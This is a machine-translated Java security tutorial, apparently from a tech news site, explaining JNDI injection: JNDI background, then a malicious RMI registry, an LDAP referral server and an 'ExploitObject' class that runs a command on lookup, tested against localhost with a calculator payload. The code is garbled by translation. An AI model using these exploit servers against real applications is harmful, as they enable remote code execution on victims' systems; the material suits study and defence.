Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

What is the implementation method of JNDI injection in Java

2025-04-05 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Development >

Share

Shulou(Shulou.com)06/02 Report--

This article mainly explains "what is the implementation method of JNDI injection in Java". The content of the article is simple and clear, and it is easy to learn and understand. Please follow the editor's train of thought to study and learn "what is the implementation method of JNDI injection in Java".

Introduction to About JNDI0x01

JNDI (Java Naming and Directory Interface) is a standard Java naming system interface provided by SUN. JNDI provides a unified client API. Through the implementation of different access provider interfaces JNDI service provider interfaces (SPI), managers map JNDI API to specific naming services and directory systems, so that Java applications can interact with these naming services and directory services. Directory service is a natural extension of naming service. Resources and other program objects can be located by calling the API application of JNDI. JNDI is an important part of Java EE, it should be noted that it not only contains DataSource (JDBC data source), JNDI can access the existing directories and services are: DNS, XNam, Novell directory service, LDAP (Lightweight Directory Access Protocol lightweight directory access protocol), CORBA object service, file system, Windows XP/2000/NT/Me/9x registry, RMI, DSML v1&v2, NIS.

The purpose of 0x02 JNDI

JNDI (Java Naming and Directory Interface) is an application-designed API that provides developers with a common, unified interface to find and access various naming and directory services, similar to JDBC, which is built on an abstraction layer. Now that JNDI has become one of the standards of J2EE, all J2EE containers must provide a JNDI service.

Daily use of 0x03

In fact, a brief introduction will feel that JNDI is similar to Registry in RMI, binding one of the naming services to the corresponding object. When you need to call the method in this object, you can find the corresponding object by bringing the specified name into lookup as a parameter. For example, it is often used in development to load database configuration files dynamically without frequently modifying the code.

RMI and LDAP are commonly used in JNDI injection attacks. And there are some restrictions on the use of these two protocols, which will also be mentioned later in this article.

0x04 JNDI naming and directory service

Naming Service naming Service:

Naming services associate names with objects and provide operations to find objects by name, for example, the DNS system associates computer names with IP addresses, the file system associates file names with file handles, and so on.

Directory Service directory service:

The directory service is an extension of the naming service, which not only provides the association between names and objects, but also allows objects to have properties. Objects in a directory service are called directory objects. The directory service provides operations such as creating, adding, deleting directory objects, and modifying directory object properties.

Reference reference:

In some naming service systems, the system does not store objects directly in the system, but maintains references to objects. The reference contains information about how to access the actual object.

This point is also used a lot, which will be discussed in more detail below.

Pre-knowledge

It is mainly a summary of some common classes and common methods, copy from the article of Master nice_0e3

InitialContext class

Construction method:

InitialContext () builds an initial context. InitialContext (boolean lazy) constructs an initial context and chooses not to initialize it. InitialContext (Hashtable environment) builds the initial context using the environment provided. InitialContext initialContext = new InitialContext ()

The explanation given in this JDK is to build the initial context, but in popular terms it is to get the initial directory environment.

Common methods:

Bind (Name name, Object obj) binds the name to the object. List (String name) enumerates the names bound in the naming context and the class names of the objects bound to them. Lookup (String name) retrieves named objects. Rebind (String name, Object obj) binds the name to the object, overwriting any existing bindings. Unbind (String name) unbinds named objects. Reference class

This class is also a class in javax.naming that represents a reference to an object found outside the naming / directory system. Provides the ability to reference classes in JNDI.

Construction method:

Reference (String className)

Construct a new reference for the object with the class name "className".

Reference (String className, RefAddr addr)

Construct a new reference for the object and address of the class named "className".

Reference (String className, RefAddr addr, String factory, String factoryLocation)

Construct a new reference for the object with the class name "className", the class name and location of the object factory, and the address of the object.

Reference (String className, String factory, String factoryLocation)

Construct a new reference for the object named "className" and the class name and location of the object factory.

Code:

String url = "http://127.0.0.1:8080"; Reference reference = new Reference (" test "," test ", url)

Parameter 1:className-the name of the class used when loading remotely

Parameter 2:classFactory-name of the class that needs to be instantiated in the loaded class

Parameter 3:classFactoryLocation-the address that provides classes data can be the file/ftp/http protocol

Common methods:

Void add (int posn, RefAddr addr) adds the address to the address list of the index posn. Void add (RefAddr addr) adds the address to the end of the address list. Void clear () removes all addresses from this reference. RefAddr get (int posn) retrieves the address on the index posn. RefAddr get (String addrType) retrieves the first address with the address type "addrType". Enumeration getAll () retrieves the enumeration of addresses in this reference. String getClassName () retrieves the class name of the referenced object. String getFactoryClassLocation () retrieves the factory location of the object referenced by this reference. String getFactoryClassName () retrieves the class name of the factory that references the object. Object remove (int posn) removes the address on the index posn from the address list. Int size () retrieves the number of addresses in this reference. String toString () generates a string representation of this reference. JNDI Demo

Let's take a look at a piece of code, which is a piece of demo vulnerable to JNDI injection attacks.

The main reason is that the url parameter in the called lookup method is controllable, which may lead to JNDI injection vulnerabilities.

Import javax.naming.InitialContext;import javax.naming.NamingException;public class JNDIDemo {public void Jndi (String url) throws NamingException {InitialContext initialContext = new InitialContext (); initialContext.lookup (url);}} JNDI+RMI attack method

Restrictions:

Referencing a remote object in a RMI service is limited by the local Java environment, that is, the local java.rmi.server.useCodebaseOnly configuration must be false (allows remote objects to be loaded), and if the value is true, reference to remote objects is prohibited. In addition, the referenced ObjectFactory object will be limited by the com.sun.jndi.rmi.object.trustURLCodebase configuration, and the remote reference object cannot be called if the value is false (remote reference object is not trusted).

JDK 5U45JDK 6U45JDK 6U45JDK 7u21JDK 8u121 starting java.rmi.server.useCodebaseOnly default configuration has been changed to true.

JDK 6u132, JDK 7u122, JDK 8u113 start com.sun.jndi.rmi.object.trustURLCodebase default value has been changed to false.

Local test remote object references can allow remote reference objects to be loaded in the following ways:

System.setProperty ("java.rmi.server.useCodebaseOnly", "false"); System.setProperty ("com.sun.jndi.rmi.object.trustURLCodebase", "true")

JNDIServer

Import javax.naming.InitialContext;import javax.naming.NamingException;public class JNDIServer {public static void main (String [] args) throws NamingException {String url = "rmi://127.0.0.1:1099/ExportObject"; InitialContext initialContext = new InitialContext (); initialContext.lookup (url);}}

JNDIExploitServer

Import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.NamingException;import javax.naming.Reference;import java.rmi.AlreadyBoundException;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.util.Arrays;public class JNDIExploitServer {public static void main (String [] args) throws RemoteException, NamingException, AlreadyBoundException {/ / create Registry Registry registry = LocateRegistry.createRegistry (1099) String url = "http://127.0.0.1:8080/"; / / instantiate a Reference attempts to construct a reference Reference reference = new Reference (" ExploitObject "," ExploitObject ", url) for a remote object; / / forcefully converts it to ReferenceWrapper, because Reference does not inherit the Remote interface and cannot register directly with Registry ReferenceWrapper referenceWrapper = new ReferenceWrapper (reference) Registry.bind ("ExportObject", referenceWrapper); System.out.println ("Registry&Server Start..."); / / print alias System.out.println ("Registry List:" + Arrays.toString (registry.list ();}}

ExploitObject

Public class ExploitObject {static {Runtime.getRuntime (). Exec ("open-a Calculator");} catch (IOException e) {e.printStackTrace ();}} public static void main (String [] args) {System.out.println ("Calc Running...");}}

Start the malicious JNDIExploitServer first, and then run JNDIServer. When the initialContext.lookup (url) method is called, it will look for the object referenceWrapper corresponding to ExportObject through the rmi protocol, and referenceWrapper is a reference to the remote object ExploitObject, so the final instantiation is ExploitObject to trigger static code block execution to achieve the purpose of arbitrary code execution.

During this period, several potholes are encountered. Record:

Due to the limitation of JDK, the JDK7u17 of RMI is extended in the test environment.

The javac version used when compiling the ExploitObject class is preferably the same as the test environment version in idea. You can specify the jdk version of javac to compile through cmdl; and the generated class file does not have a package name (for example: package com.zh2z3ven.jndi), specify the version javac compilation command: / Library/Java/JavaVirtualMachines/jdk1.7.0_17.jdk/Contents/Home/bin/javac. / main/java/com/zh2z3ven/jndi/ExploitObject.java

JNDI+LDAP attack method

The limit here is before 8u191.

Copy A piece of Server code for LDAP

LdapServer

Import java.net.InetAddress;import java.net.MalformedURLException;import java.net.URL;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPException Import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;public class LdapServer {private static final String LDAP_BASE = "dc=example,dc=com"; public static void main (String [] argsx) {String [] args = new String [] {"http://127.0.0.1:8080/#ExploitObject"}; int port = 7777; try {InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig (LDAP_BASE)" Config.setListenerConfigs (new InMemoryListenerConfig ("listen", / / $NON-NLS-1$ InetAddress.getByName ("0.0.0.0"), / / $NON-NLS-1$ port, ServerSocketFactory.getDefault (), SocketFactory.getDefault (), (SSLSocketFactory) SSLSocketFactory.getDefault () Config.addInMemoryOperationInterceptor (new OperationInterceptor (new URL (args [0])); InMemoryDirectoryServer ds = new InMemoryDirectoryServer (config); System.out.println ("Listening on 0.0.0.0:" + port); / / $NON-NLS-1$ ds.startListening ();} catch (Exception e) {e.printStackTrace () }} private static class OperationInterceptor extends InMemoryOperationInterceptor {private URL codebase; public OperationInterceptor (URL cb) {this.codebase = cb;} @ Override public void processSearchResult (InMemoryInterceptedSearchResult result) {String base = result.getRequest () .getBaseDN (); Entry e = new Entry (base); try {sendResult (result, base, e) } catch (Exception E1) {e1.printStackTrace ();}} protected void sendResult (InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {URL turl = new URL (this.codebase, this.codebase.getRef (). Replace ('.','/'). Concat (".class")) System.out.println ("Send LDAP reference result for" + base + "redirecting to" + turl); e.addAttribute ("javaClassName", "foo"); String cbstring = this.codebase.toString (); int refPos = cbstring.indexOf ('#'); if (refPos > 0) {cbstring = cbstring.substring (0, refPos) } e.addAttribute ("javaCodeBase", cbstring); e.addAttribute ("objectClass", "javaNamingReference"); / / $NON-NLS-1$ e.addAttribute ("javaFactory", this.codebase.getRef ()); result.sendSearchEntry (e); result.setResult (new LDAPResult (0, ResultCode.SUCCESS));}}

JNDIServer2

Public class JNDIServer2 {public static void main (String [] args) throws NamingException {String url = "ldap://127.0.0.1:7777/ExploitObject"; InitialContext initialContext = new InitialContext (); initialContext.lookup (url);}}

ExploitObject

Public class ExploitObject {static {Runtime.getRuntime (). Exec ("open-a Calculator");} catch (IOException e) {e.printStackTrace ();}} public static void main (String [] args) {System.out.println ("Calc Running...");}}

Thank you for reading, the above is "what is the implementation of JNDI injection in Java" content, after the study of this article, I believe you have a deeper understanding of what is the implementation of JNDI injection in Java, and the specific use needs to be verified in practice. Here is, the editor will push for you more related knowledge points of the article, welcome to follow!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Development

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report